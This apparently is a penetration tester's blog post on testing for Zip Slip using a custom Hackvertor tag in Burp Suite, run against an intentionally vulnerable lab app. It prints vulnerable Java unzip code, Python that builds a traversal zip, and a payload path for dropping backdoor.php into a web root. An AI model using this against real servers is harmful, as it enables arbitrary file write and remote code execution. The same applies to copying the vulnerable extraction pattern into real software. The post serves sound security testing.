Custom Tags are one of Hackvertor's most powerful features. They allow you to run Python, Java, or JavaScript with a one-liner inside any Burp request. In this blog post, we will discuss performing Zip Slip testing with a custom Hackvertor tag.
File Uploads and Zip Slip
In 2018, Snyk published comprehensive research on Zip Slip attacks:
Zip Slip is a widespread arbitrary file overwrite critical vulnerability, which typically results in remote command execution. It was discovered ...
The core idea is that the attacker introduces a directory traversal payload into a zip file such that when the file is unzipped, it performs an arbitrary overwrite.
For example, imagine we have a File Upload in a web application that takes in a zip (or .docx) file. We create a filename inside the zip file that includes an overwrite of the web root:
../../../../../../../../var/www/backdoor.php
When the file is unzipped on the server, we get arbitrary file write.
It’s quite easy as a developer to shoot yourself in the foot when parsing a zip file. Although the following Java code looks sane, it is vulnerable to directory traversal on Line 4:
Enumeration entries = zip.getEntries();
while (entries.hasMoreElements()) {
ZipEntry e = entries.nextElement();
File f = new File(destinationDir, e.getName());
InputStream input = zip.getInputStream(e);
IOUtils.copy(input, write(f));
}
When penetration testing against a web application, Zip Slip exploits can be cumbersome. Unless you have a preset build of zip files, you often need to build a file from the CLI or land into the correct directory in one shot. However, the Python code to build an individual malicious zip file is quite simple:
import io
import zipfile
zip_buffer = io.BytesIO()
trav = "../"*count
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(trav+filename, content)
output = zip_buffer.getvalue()
# We can comment this part out in Hackvertor
with open('output.zip', 'wb') as f:
f.write(output)
This makes it a perfect candidate for Hackvertor custom payloads. For example, I use the following custom tag for Zip Slip testing. It’s built off of the code above:

The variables in this tag are:
- input
- This is hardcoded by Hackvertor. We will use it to write the directory and file name.
- Argument1
contentis going to be the contents of the file to write (i.e. the backdoor).
- Argument2
countis going to be the number of directories to traverse.
Hackvertor always uses the variable output for it’s return value.
Testing Our Custom Tag
The following GitHub repository holds a web application that is intentionally vulnerable to ZipSlip exploits:
Intentionally Vulnerable Zip Slip Application
Intentionally Vulnerable Zip Slip Application
After building the Docker container and setting up the server, we can intercept a file upload request:


Ouch! What a mess to look at. Let’s simplify this request by deleting the contents of the zip file and replacing it with our custom tag:
<@_zipslip('exploit code here',10,'4dbd9e1c23f789d531c8516bde226568')>backdoor.php<@/_zipslip>

This is much better. The custom tag builds a fully valid ZIP file, including the directory traversals, before uploading to the server, and our backdoor is created.
In the real world, I often need to send this to Intruder to fuzz the correct directory to land in:

The nonce (4dbd9e1c23f789d531c8516bde226568) will be specific to your instance of BurpSuite (’Hackvertor tab > Custom Tag’ to find the nonce). This is a security feature of Hackvertor that prevents malicious tags.
One last point: always check the Hackvertor tab for any request before sending it. For example, the screenshot below is of the Hackvertor tab inside a Repeater request. The Hackvertor tab shows us exactly what the server will see, including our valid zip file in this case:

